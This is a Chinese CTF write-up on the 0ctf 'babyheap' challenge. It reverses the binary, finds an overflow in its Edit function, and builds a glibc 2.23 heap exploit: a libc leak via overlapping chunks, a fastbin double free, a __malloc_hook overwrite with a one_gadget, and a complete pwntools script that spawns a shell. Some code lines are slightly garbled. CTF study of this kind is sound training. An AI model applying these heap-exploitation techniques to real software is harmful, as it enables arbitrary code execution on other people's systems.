0ctf babyheap

文件信息
pwndbg> checksec
[*] '/mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开

pwndbg> r
Starting program: /mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap
===== Baby Heap in 2017 =====

  1. Allocate
  2. Fill
  3. Free
  4. Dump
  5. Exit
    Command:

是菜单程序:1申请,2编辑,3释放,4读取

逆向分析
主程序:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]

v4 = sub_55E213200B70(a1, a2, a3);
while ( 1 )
{
menu();
switch ( getNum() )
{
case 1LL:
Add(v4);
break;
case 2LL:
Edit(v4);
break;
case 3LL:
Free(v4);
break;
case 4LL:
Show(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}

Add函数:

void __fastcall Add(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
void *memPtr; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
size = getNum();
if ( size > 0 )
{
if ( size > 4096 )
size = 4096;
memPtr = calloc(size, 1uLL); // calloc will clear mem
if ( !memPtr )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1; // this is a struct
*(_QWORD *)(a1 + 24LL * i + 8) = size;
*(_QWORD *)(a1 + 24LL * i + 16) = memPtr;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}

这里貌似用了一个结构来保存申请的信息,创建一下:

00000000 MemInfo struc ; (sizeof=0x18, mappedto_18)
00000000 isEnable dq ?
00000008 size dq ?
00000010 memPtr dq ?
00000018 MemInfo ends

Edit函数:

__int64 __fastcall Edit(MemInfo *a1)
{
_int64 buf; // rax
int index
; // [rsp+18h] [rbp-8h]
int size; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
buf = getNum();
index_ = buf;
if ( (unsigned int)buf <= 0xF ) // max chunk count = 16
{
buf = LODWORD(a1[(int)buf].isEnable); // get index
if ( (DWORD)buf == 1 ) // 1 represent enable
{
printf("Size: ");
buf = getNum();
size = buf;
if ( (int)buf > 0 )
{
printf("Content: ");
return call_Read2(a1[index
].memPtr, size);
}
}
}
return buf;
}

找到对应的chunk,然后向其中读取内容

Free函数:

__int64 __fastcall Free(MemInfo *a1)
{
__int64 result; // rax
int index; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = getNum();
index = result;
if ( (unsigned int)result <= 0xF )
{
result = LODWORD(a1[(int)result].isEnable);
if ( (_DWORD)result == 1 )
{
LODWORD(a1[index].isEnable) = 0; // set 0
a1[index].size = 0LL; // set size = 0
free((void *)a1[index].memPtr); // free mem
result = (__int64)&a1[index]; // clear value
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}

Show函数:

unsigned int __fastcall Show(MemInfo *a1)
{
unsigned int result; // eax
unsigned int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = getNum();
v2 = result;
if ( result <= 0xF )
{
result = a1[result].isEnable;
if ( result == 1 )
{
puts("Content: ");
call_Write(a1[v2].memPtr, a1[v2].size);
return puts(byte_55E2132014F1);
}
}
return result;
}

利用
可用性通过数组成员的值和其标志位来确认,不存在UAF

Edit函数编辑的时候检查的大小来自用户输入,存在溢出问题

这里虽然有数组来保存申请的地址信息,但是PIE的存在,让unlink技术难度很高

这里有一个思路就是,通过溢出,去修改fastbin chunk的指针,测试一下:

chunk1 = add(24)
chunk2 = add(24)
chunk3 = add(24)

free(chunk3)
free(chunk2)

edit(chunk1,24+0x10,b'a'*24 + pack(0x21) + pack(0xdeadbeef))

效果:可行

pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use help set resolve-heap-via-heuristic for more details.

0x563e52224000 0x0000000000000000 0x0000000000000021 ........!.......
0x563e52224010 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x563e52224020 0x6161616161616161 0x0000000000000021 aaaaaaaa!....... <-- fastbins[0x20][0]
0x563e52224030 0x00000000deadbeef 0x0000000000000000 ................
0x563e52224040 0x0000000000000000 0x0000000000000021 ........!.......
0x563e52224050 0x0000000000000000 0x0000000000000000 ................
0x563e52224060 0x0000000000000000 0x0000000000020fa1 ................ <-- Top chunk

可以通过这种方式去修改fastbin的指针,然后去寻找可用的fake chunk申请内存:

pwndbg> find_fake_fast &__malloc_hook
global_max_fast symbol not found, using the default value: 0x80
Use `set global-max-fast

` to set the address of global_max_fast manually if needed.
Searching for fastbin size fields up to 0x80, starting at 0x7f5eeb894a98 resulting in an overlap of 0x7f5eeb894b10
FAKE CHUNKS
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f5eeb894aed
prev_size: 0x5eeb893260000000
size: 0x7f
fd: 0x5eeb555e20000000
bk: 0x5eeb555a0000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00

这里需要0x70大小的fastbin chunk

现在目标明确了,最终是要通过fastbin dup进行利用

现在的问题在于,需要一个libc info leak

libc info leak
可以通过读取unsortedbin chunk的指针来拿到libc的地址

因为能读取的大小是在add的时候就限定死了,没法越界读

这里的一个思路是,申请两个unsorted size chunk,然后通过溢出修改第二个chunk的prev_inused标志位为0,释放第二个的时候触发合并,这样第一个chunk既是可用的,又有了libc的地址,但这里有safe unlink的缓解机制,就没法用了

下一个思路是:申请一个小chunk,通过溢出让其大小变大,大到覆盖下一个chunk,然后再次申请的时候,经过分割,使得新的unsortedbin指针落到我们可用chunk上:

chunk1 = add(0x88)
chunk2 = add(0x88)
chunk3 = add(0x88)
add(0x18) # 分隔top chunk
edit(chunk1,0x90,b'\x00'0x88 + pack(0x902+1))
free(chunk2)
chunk4 = add(0x88)
a = show(chunk3)[:8]
print(hex(uu64(a)))

结果:

pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use help set resolve-heap-via-heuristic for more details.

0x560635da7000 0x0000000000000000 0x0000000000000091 ................
0x560635da7010 0x0000000000000000 0x0000000000000000 ................
0x560635da7020 0x0000000000000000 0x0000000000000000 ................
0x560635da7030 0x0000000000000000 0x0000000000000000 ................
0x560635da7040 0x0000000000000000 0x0000000000000000 ................
0x560635da7050 0x0000000000000000 0x0000000000000000 ................
0x560635da7060 0x0000000000000000 0x0000000000000000 ................
0x560635da7070 0x0000000000000000 0x0000000000000000 ................
0x560635da7080 0x0000000000000000 0x0000000000000000 ................

0x560635da7090 0x0000000000000000 0x0000000000000091 ................
0x560635da70a0 0x0000000000000000 0x0000000000000000 ................
0x560635da70b0 0x0000000000000000 0x0000000000000000 ................
0x560635da70c0 0x0000000000000000 0x0000000000000000 ................
0x560635da70d0 0x0000000000000000 0x0000000000000000 ................
0x560635da70e0 0x0000000000000000 0x0000000000000000 ................
0x560635da70f0 0x0000000000000000 0x0000000000000000 ................
0x560635da7100 0x0000000000000000 0x0000000000000000 ................
0x560635da7110 0x0000000000000000 0x0000000000000000 ................

0x560635da7120 0x0000000000000000 0x0000000000000091 ................ <-- unsortedbin[all][0]
0x560635da7130 0x00007f0f908eab78 0x00007f0f908eab78 x.......x.......
0x560635da7140 0x0000000000000000 0x0000000000000000 ................
0x560635da7150 0x0000000000000000 0x0000000000000000 ................
0x560635da7160 0x0000000000000000 0x0000000000000000 ................
0x560635da7170 0x0000000000000000 0x0000000000000000 ................
0x560635da7180 0x0000000000000000 0x0000000000000000 ................
0x560635da7190 0x0000000000000000 0x0000000000000000 ................
0x560635da71a0 0x0000000000000000 0x0000000000000000 ................

0x560635da71b0 0x0000000000000090 0x0000000000000020 ........ .......
0x560635da71c0 0x0000000000000000 0x0000000000000000 ................

0x560635da71d0 0x0000000000000000 0x0000000000020e31 ........1....... <-- Top chunk

顺利读出地址:0x7f0f908eab78

fastbin dup
接下来进行fastbin dup,要进行一次双重释放控制fastbin指针

这里很巧的就是,unsortedbin chunk我们可以申请0x68大小的chunk来分割这个unsortedbin chunk

这样就能拿到两个内存是申请在同一个位置的了,然后绕过fastbin 双重释放的缓解即可:

chunk33 = add(0x68)
chunk5 = add(0x68)
free(chunk33)
free(chunk5)
free(chunk3)

结果:

pwndbg> bin
fastbins
0x70: 0x565437731120 —▸ 0x5654377311d0 ◂— 0x565437731120
unsortedbin
empty
smallbins
0x20: 0x565437731190 —▸ 0x7fbe9d02cb88 ◂— 0x565437731190
largebins
empty

接下来就是构造fake chunk地址,修改malloc hook,去执行one_gadget拿shell了

fake_chunk = libc.sym.__malloc_hook - 35
chunkA = add(0x68)
edit(chunkA,0x8,pack(fake_chunk))
add(0x68)
add(0x68)
fake = add(0x68)
one_gadget = libc.address + 0x4526a
edit(fake,35-8,b'0'*(35-16) + pack(one_gadget))
add(0x68)

感觉这里通过溢出来修改fastbin chunk指针更简洁

完整exp

!/bin/python3

from pwn import *

FILE_NAME = "0ctfbabyheap"
REMOTE_HOST = ""
REMOTE_PORT = 0

elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)

""" """
p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
""" """

======= helper function ===============

Calculate the "wraparound" distance between two addresses.

def delta(x, y):
return (0xffffffffffffffff - x) + y

opt_add = 1
opt_edit = 2
opt_free = 3
opt_show = 4
menu = ""

def add(size):
sla(menu, str(opt_add))
sla(b"Size: ", str(size))
ru(b"Allocate Index ")
index = ru(b"\n")[:-1]
return index.decode('utf-8')

def edit(idx, size ,content):
sla(menu, str(opt_edit))
sla(b"Index: ", str(idx))
sla(b"Size: ", str(size))
sla(b"Content: ", content)

def free(idx):
sla(menu, str(opt_free))
sla(b"Index: ", str(idx))

def show(idx):
sla(menu, str(opt_show))
sla(b"Index: ", str(idx))
ru(b"Content: \n")
value = ru(b"1. ")[:-4]
return value

=======================================

io = start()
io.timeout = 0.1

=============================================================================

============== exploit ===================

libc info leak

chunk1 = add(0x88)
chunk2 = add(0x88)
chunk3 = add(0x88)
add(0x18) # 分隔top chunk
edit(chunk1,0x90,b'\x00'0x88 + pack(0x902+1))
free(chunk2)
chunk4 = add(0x88)
a = uu64(show(chunk3)[:8])
libc.address = a - 3951480
print("[libc address]: "+hex(libc.address))

fastbin dup

double free

chunk33 = add(0x68)
chunk5 = add(0x68)
free(chunk33)
free(chunk5)
free(chunk3)

fake chunk

fake_chunk = libc.sym.__malloc_hook - 35
chunkA = add(0x68)
edit(chunkA,0x8,pack(fake_chunk))
add(0x68)
add(0x68)
fake = add(0x68)
one_gadget = libc.address + 0x4526a
edit(fake,35-8,b'0'*(35-16) + pack(one_gadget))
add(0x68)

=============================================================================

io.interactive()
"""
➜ 0ctf_babyheap one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,088评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,715评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,361评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,099评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 60,987评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,063评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,486评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,175评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,440评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,518评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,305评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,190评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,550评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,880评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,152评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,451评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,637评论 2 335

推荐阅读更多精彩内容